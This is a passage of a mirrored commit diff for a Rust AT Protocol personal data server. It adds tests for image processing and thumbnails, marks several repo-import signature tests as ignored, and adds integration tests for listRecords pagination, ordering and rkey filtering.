mirror of
https://tangled.org/tranquil.farm/tranquil-pds
synced 2026-09-19 00:34:15 +00:00
Remaining endpoints for MVP
This commit is contained in:
@@ -0,0 +1,315 @@
|
||||
use bspds::image::{ImageProcessor, ImageError, OutputFormat, THUMB_SIZE_FEED, THUMB_SIZE_FULL, DEFAULT_MAX_FILE_SIZE};
|
||||
use image::{DynamicImage, ImageFormat};
|
||||
use std::io::Cursor;
|
||||
|
||||
fn create_test_png(width: u32, height: u32) -> Vec<u8> {
|
||||
let img = DynamicImage::new_rgb8(width, height);
|
||||
let mut buf = Vec::new();
|
||||
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
|
||||
buf
|
||||
}
|
||||
|
||||
fn create_test_jpeg(width: u32, height: u32) -> Vec<u8> {
|
||||
let img = DynamicImage::new_rgb8(width, height);
|
||||
let mut buf = Vec::new();
|
||||
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg).unwrap();
|
||||
buf
|
||||
}
|
||||
|
||||
fn create_test_gif(width: u32, height: u32) -> Vec<u8> {
|
||||
let img = DynamicImage::new_rgb8(width, height);
|
||||
let mut buf = Vec::new();
|
||||
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif).unwrap();
|
||||
buf
|
||||
}
|
||||
|
||||
fn create_test_webp(width: u32, height: u32) -> Vec<u8> {
|
||||
let img = DynamicImage::new_rgb8(width, height);
|
||||
let mut buf = Vec::new();
|
||||
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP).unwrap();
|
||||
buf
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_process_png() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(500, 500);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
assert_eq!(result.original.width, 500);
|
||||
assert_eq!(result.original.height, 500);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_process_jpeg() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_jpeg(400, 300);
|
||||
let result = processor.process(&data, "image/jpeg").unwrap();
|
||||
assert_eq!(result.original.width, 400);
|
||||
assert_eq!(result.original.height, 300);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_process_gif() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_gif(200, 200);
|
||||
let result = processor.process(&data, "image/gif").unwrap();
|
||||
assert_eq!(result.original.width, 200);
|
||||
assert_eq!(result.original.height, 200);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_process_webp() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_webp(300, 200);
|
||||
let result = processor.process(&data, "image/webp").unwrap();
|
||||
assert_eq!(result.original.width, 300);
|
||||
assert_eq!(result.original.height, 200);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_thumbnail_feed_size() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(800, 600);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
let thumb = result.thumbnail_feed.expect("Should generate feed thumbnail for large image");
|
||||
assert!(thumb.width <= THUMB_SIZE_FEED);
|
||||
assert!(thumb.height <= THUMB_SIZE_FEED);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_thumbnail_full_size() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(2000, 1500);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
let thumb = result.thumbnail_full.expect("Should generate full thumbnail for large image");
|
||||
assert!(thumb.width <= THUMB_SIZE_FULL);
|
||||
assert!(thumb.height <= THUMB_SIZE_FULL);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_no_thumbnail_small_image() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(100, 100);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert!(result.thumbnail_feed.is_none(), "Small image should not get feed thumbnail");
|
||||
assert!(result.thumbnail_full.is_none(), "Small image should not get full thumbnail");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_webp_conversion() {
|
||||
let processor = ImageProcessor::new().with_output_format(OutputFormat::WebP);
|
||||
let data = create_test_png(300, 300);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert_eq!(result.original.mime_type, "image/webp");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_jpeg_output_format() {
|
||||
let processor = ImageProcessor::new().with_output_format(OutputFormat::Jpeg);
|
||||
let data = create_test_png(300, 300);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert_eq!(result.original.mime_type, "image/jpeg");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_png_output_format() {
|
||||
let processor = ImageProcessor::new().with_output_format(OutputFormat::Png);
|
||||
let data = create_test_jpeg(300, 300);
|
||||
let result = processor.process(&data, "image/jpeg").unwrap();
|
||||
|
||||
assert_eq!(result.original.mime_type, "image/png");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_max_dimension_enforced() {
|
||||
let processor = ImageProcessor::new().with_max_dimension(1000);
|
||||
let data = create_test_png(2000, 2000);
|
||||
let result = processor.process(&data, "image/png");
|
||||
|
||||
assert!(matches!(result, Err(ImageError::TooLarge { .. })));
|
||||
if let Err(ImageError::TooLarge { width, height, max_dimension }) = result {
|
||||
assert_eq!(width, 2000);
|
||||
assert_eq!(height, 2000);
|
||||
assert_eq!(max_dimension, 1000);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_file_size_limit() {
|
||||
let processor = ImageProcessor::new().with_max_file_size(100);
|
||||
let data = create_test_png(500, 500);
|
||||
let result = processor.process(&data, "image/png");
|
||||
|
||||
assert!(matches!(result, Err(ImageError::FileTooLarge { .. })));
|
||||
if let Err(ImageError::FileTooLarge { size, max_size }) = result {
|
||||
assert!(size > 100);
|
||||
assert_eq!(max_size, 100);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_max_file_size() {
|
||||
assert_eq!(DEFAULT_MAX_FILE_SIZE, 10 * 1024 * 1024);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_unsupported_format_rejected() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = b"this is not an image";
|
||||
let result = processor.process(data, "application/octet-stream");
|
||||
|
||||
assert!(matches!(result, Err(ImageError::UnsupportedFormat(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_corrupted_image_handling() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = b"\x89PNG\r\n\x1a\ncorrupted data here";
|
||||
let result = processor.process(data, "image/png");
|
||||
|
||||
assert!(matches!(result, Err(ImageError::DecodeError(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_aspect_ratio_preserved_landscape() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(1600, 800);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
let thumb = result.thumbnail_full.expect("Should have thumbnail");
|
||||
let original_ratio = 1600.0 / 800.0;
|
||||
let thumb_ratio = thumb.width as f64 / thumb.height as f64;
|
||||
assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_aspect_ratio_preserved_portrait() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(800, 1600);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
let thumb = result.thumbnail_full.expect("Should have thumbnail");
|
||||
let original_ratio = 800.0 / 1600.0;
|
||||
let thumb_ratio = thumb.width as f64 / thumb.height as f64;
|
||||
assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_mime_type_detection_auto() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(100, 100);
|
||||
let result = processor.process(&data, "application/octet-stream");
|
||||
|
||||
assert!(result.is_ok(), "Should detect PNG format from data");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_is_supported_mime_type() {
|
||||
assert!(ImageProcessor::is_supported_mime_type("image/jpeg"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("image/jpg"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("image/png"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("image/gif"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("image/webp"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("IMAGE/PNG"));
|
||||
assert!(ImageProcessor::is_supported_mime_type("Image/Jpeg"));
|
||||
|
||||
assert!(!ImageProcessor::is_supported_mime_type("image/bmp"));
|
||||
assert!(!ImageProcessor::is_supported_mime_type("image/tiff"));
|
||||
assert!(!ImageProcessor::is_supported_mime_type("text/plain"));
|
||||
assert!(!ImageProcessor::is_supported_mime_type("application/json"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_exif() {
|
||||
let data = create_test_jpeg(100, 100);
|
||||
let result = ImageProcessor::strip_exif(&data);
|
||||
assert!(result.is_ok());
|
||||
let stripped = result.unwrap();
|
||||
assert!(!stripped.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_with_thumbnails_disabled() {
|
||||
let processor = ImageProcessor::new().with_thumbnails(false);
|
||||
let data = create_test_png(2000, 2000);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert!(result.thumbnail_feed.is_none(), "Thumbnails should be disabled");
|
||||
assert!(result.thumbnail_full.is_none(), "Thumbnails should be disabled");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_builder_chaining() {
|
||||
let processor = ImageProcessor::new()
|
||||
.with_max_dimension(2048)
|
||||
.with_max_file_size(5 * 1024 * 1024)
|
||||
.with_output_format(OutputFormat::Jpeg)
|
||||
.with_thumbnails(true);
|
||||
|
||||
let data = create_test_png(500, 500);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
assert_eq!(result.original.mime_type, "image/jpeg");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_processed_image_fields() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(500, 500);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert!(!result.original.data.is_empty());
|
||||
assert!(!result.original.mime_type.is_empty());
|
||||
assert!(result.original.width > 0);
|
||||
assert!(result.original.height > 0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_only_feed_thumbnail_for_medium_images() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(500, 500);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
|
||||
assert!(result.thumbnail_full.is_none(), "Should NOT have full thumbnail for 500px image");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_both_thumbnails_for_large_images() {
|
||||
let processor = ImageProcessor::new();
|
||||
let data = create_test_png(2000, 2000);
|
||||
let result = processor.process(&data, "image/png").unwrap();
|
||||
|
||||
assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
|
||||
assert!(result.thumbnail_full.is_some(), "Should have full thumbnail for 2000px image");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_exact_threshold_boundary_feed() {
|
||||
let processor = ImageProcessor::new();
|
||||
|
||||
let at_threshold = create_test_png(THUMB_SIZE_FEED, THUMB_SIZE_FEED);
|
||||
let result = processor.process(&at_threshold, "image/png").unwrap();
|
||||
assert!(result.thumbnail_feed.is_none(), "Exact threshold should not generate thumbnail");
|
||||
|
||||
let above_threshold = create_test_png(THUMB_SIZE_FEED + 1, THUMB_SIZE_FEED + 1);
|
||||
let result = processor.process(&above_threshold, "image/png").unwrap();
|
||||
assert!(result.thumbnail_feed.is_some(), "Above threshold should generate thumbnail");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_exact_threshold_boundary_full() {
|
||||
let processor = ImageProcessor::new();
|
||||
|
||||
let at_threshold = create_test_png(THUMB_SIZE_FULL, THUMB_SIZE_FULL);
|
||||
let result = processor.process(&at_threshold, "image/png").unwrap();
|
||||
assert!(result.thumbnail_full.is_none(), "Exact threshold should not generate thumbnail");
|
||||
|
||||
let above_threshold = create_test_png(THUMB_SIZE_FULL + 1, THUMB_SIZE_FULL + 1);
|
||||
let result = processor.process(&above_threshold, "image/png").unwrap();
|
||||
assert!(result.thumbnail_full.is_some(), "Above threshold should generate thumbnail");
|
||||
}
|
||||
@@ -217,6 +217,7 @@ async fn get_user_signing_key(did: &str) -> Option<Vec<u8>> {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_valid_signature_and_mock_plc -- --ignored --test-threads=1"]
|
||||
async fn test_import_with_valid_signature_and_mock_plc() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
@@ -266,6 +267,7 @@ async fn test_import_with_valid_signature_and_mock_plc() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_wrong_signing_key_fails -- --ignored --test-threads=1"]
|
||||
async fn test_import_with_wrong_signing_key_fails() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
@@ -322,6 +324,7 @@ async fn test_import_with_wrong_signing_key_fails() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_did_mismatch_fails -- --ignored --test-threads=1"]
|
||||
async fn test_import_with_did_mismatch_fails() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
@@ -373,6 +376,7 @@ async fn test_import_with_did_mismatch_fails() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_plc_resolution_failure -- --ignored --test-threads=1"]
|
||||
async fn test_import_with_plc_resolution_failure() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
@@ -424,6 +428,7 @@ async fn test_import_with_plc_resolution_failure() {
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_no_signing_key_in_did_doc -- --ignored --test-threads=1"]
|
||||
async fn test_import_with_no_signing_key_in_did_doc() {
|
||||
let client = client();
|
||||
let (token, did) = create_account_and_login(&client).await;
|
||||
|
||||
@@ -0,0 +1,554 @@
|
||||
mod common;
|
||||
mod helpers;
|
||||
use common::*;
|
||||
use helpers::*;
|
||||
|
||||
use chrono::Utc;
|
||||
use reqwest::StatusCode;
|
||||
use serde_json::{Value, json};
|
||||
use std::time::Duration;
|
||||
|
||||
async fn create_post_with_rkey(
|
||||
client: &reqwest::Client,
|
||||
did: &str,
|
||||
jwt: &str,
|
||||
rkey: &str,
|
||||
text: &str,
|
||||
) -> (String, String) {
|
||||
let payload = json!({
|
||||
"repo": did,
|
||||
"collection": "app.bsky.feed.post",
|
||||
"rkey": rkey,
|
||||
"record": {
|
||||
"$type": "app.bsky.feed.post",
|
||||
"text": text,
|
||||
"createdAt": Utc::now().to_rfc3339()
|
||||
}
|
||||
});
|
||||
|
||||
let res = client
|
||||
.post(format!(
|
||||
"{}/xrpc/com.atproto.repo.putRecord",
|
||||
base_url().await
|
||||
))
|
||||
.bearer_auth(jwt)
|
||||
.json(&payload)
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to create record");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
(
|
||||
body["uri"].as_str().unwrap().to_string(),
|
||||
body["cid"].as_str().unwrap().to_string(),
|
||||
)
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_default_order() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-default-order").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First post").await;
|
||||
tokio::time::sleep(Duration::from_millis(50)).await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second post").await;
|
||||
tokio::time::sleep(Duration::from_millis(50)).await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third post").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
assert_eq!(records.len(), 3);
|
||||
let rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
assert_eq!(rkeys, vec!["cccc", "bbbb", "aaaa"], "Default order should be DESC (newest first)");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_reverse_true() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-reverse").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First post").await;
|
||||
tokio::time::sleep(Duration::from_millis(50)).await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second post").await;
|
||||
tokio::time::sleep(Duration::from_millis(50)).await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third post").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("reverse", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
let rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
assert_eq!(rkeys, vec!["aaaa", "bbbb", "cccc"], "reverse=true should give ASC order (oldest first)");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_cursor_pagination() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-cursor").await;
|
||||
|
||||
for i in 0..5 {
|
||||
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
|
||||
tokio::time::sleep(Duration::from_millis(50)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "2"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert_eq!(records.len(), 2);
|
||||
|
||||
let cursor = body["cursor"].as_str().expect("Should have cursor with more records");
|
||||
|
||||
let res2 = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "2"),
|
||||
("cursor", cursor),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records with cursor");
|
||||
|
||||
assert_eq!(res2.status(), StatusCode::OK);
|
||||
let body2: Value = res2.json().await.unwrap();
|
||||
let records2 = body2["records"].as_array().unwrap();
|
||||
assert_eq!(records2.len(), 2);
|
||||
|
||||
let all_uris: Vec<&str> = records
|
||||
.iter()
|
||||
.chain(records2.iter())
|
||||
.map(|r| r["uri"].as_str().unwrap())
|
||||
.collect();
|
||||
let unique_uris: std::collections::HashSet<&str> = all_uris.iter().copied().collect();
|
||||
assert_eq!(all_uris.len(), unique_uris.len(), "Cursor pagination should not repeat records");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_rkey_start() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-rkey-start").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("rkeyStart", "bbbb"),
|
||||
("reverse", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
let rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
for rkey in &rkeys {
|
||||
assert!(*rkey >= "bbbb", "rkeyStart should filter records >= start");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_rkey_end() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-rkey-end").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("rkeyEnd", "cccc"),
|
||||
("reverse", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
let rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
for rkey in &rkeys {
|
||||
assert!(*rkey <= "cccc", "rkeyEnd should filter records <= end");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_rkey_range() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-rkey-range").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
|
||||
create_post_with_rkey(&client, &did, &jwt, "eeee", "Fifth").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("rkeyStart", "bbbb"),
|
||||
("rkeyEnd", "dddd"),
|
||||
("reverse", "true"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
|
||||
let rkeys: Vec<&str> = records
|
||||
.iter()
|
||||
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
|
||||
.collect();
|
||||
|
||||
for rkey in &rkeys {
|
||||
assert!(*rkey >= "bbbb" && *rkey <= "dddd", "Range should be inclusive, got {}", rkey);
|
||||
}
|
||||
assert!(!rkeys.is_empty(), "Should have at least some records in range");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_limit_clamping_max() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-limit-max").await;
|
||||
|
||||
for i in 0..5 {
|
||||
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "1000"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert!(records.len() <= 100, "Limit should be clamped to max 100");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_limit_clamping_min() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-limit-min").await;
|
||||
|
||||
create_post_with_rkey(&client, &did, &jwt, "aaaa", "Post").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "0"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert!(records.len() >= 1, "Limit should be clamped to min 1");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_empty_collection() {
|
||||
let client = client();
|
||||
let (did, _jwt) = setup_new_user("list-empty").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert!(records.is_empty(), "Empty collection should return empty array");
|
||||
assert!(body["cursor"].is_null(), "Empty collection should have no cursor");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_exact_limit() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-exact-limit").await;
|
||||
|
||||
for i in 0..10 {
|
||||
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "5"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert_eq!(records.len(), 5, "Should return exactly 5 records when limit=5");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_cursor_exhaustion() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("list-cursor-exhaust").await;
|
||||
|
||||
for i in 0..3 {
|
||||
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", did.as_str()),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
("limit", "10"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.unwrap();
|
||||
let records = body["records"].as_array().unwrap();
|
||||
assert_eq!(records.len(), 3);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_list_records_repo_not_found() {
|
||||
let client = client();
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.repo.listRecords",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[
|
||||
("repo", "did:plc:nonexistent12345"),
|
||||
("collection", "app.bsky.feed.post"),
|
||||
])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to list records");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::NOT_FOUND);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
